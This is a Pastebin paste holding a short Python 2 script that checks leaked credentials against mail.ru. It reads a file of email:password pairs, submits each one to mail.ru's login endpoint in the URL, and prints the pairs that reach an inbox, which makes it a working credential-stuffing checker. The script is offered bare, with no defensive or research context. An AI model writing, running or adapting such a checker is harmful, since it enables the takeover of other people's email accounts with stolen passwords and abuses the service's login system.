Guest User

Untitled

a guest
Jun 1st, 2014
165
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.51 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. from urllib import urlopen
  3. from sys import argv
  4.  
  5. MailExist = 'https://e.mail.ru/messages/inbox'
  6.  
  7.  
  8. f_pass = open(argv[1], 'r')
  9. data = f_pass.readlines()
  10.  
  11. for MailAndPass in data:
  12.     login = MailAndPass[:MailAndPass.find(':')]
  13.     password = MailAndPass[MailAndPass.find(':')+1:]
  14.     link = 'https://auth.mail.ru/cgi-bin/auth?Login=' + login + '&Domain=mail.ru&Password=' + password
  15.     source = urlopen(link).read()
  16.     if source.find(MailExist) != -1:
  17.         print MailAndPass
  18.  
  19. f_pass.close()
Advertisement
Add Comment
Please, Sign In to add comment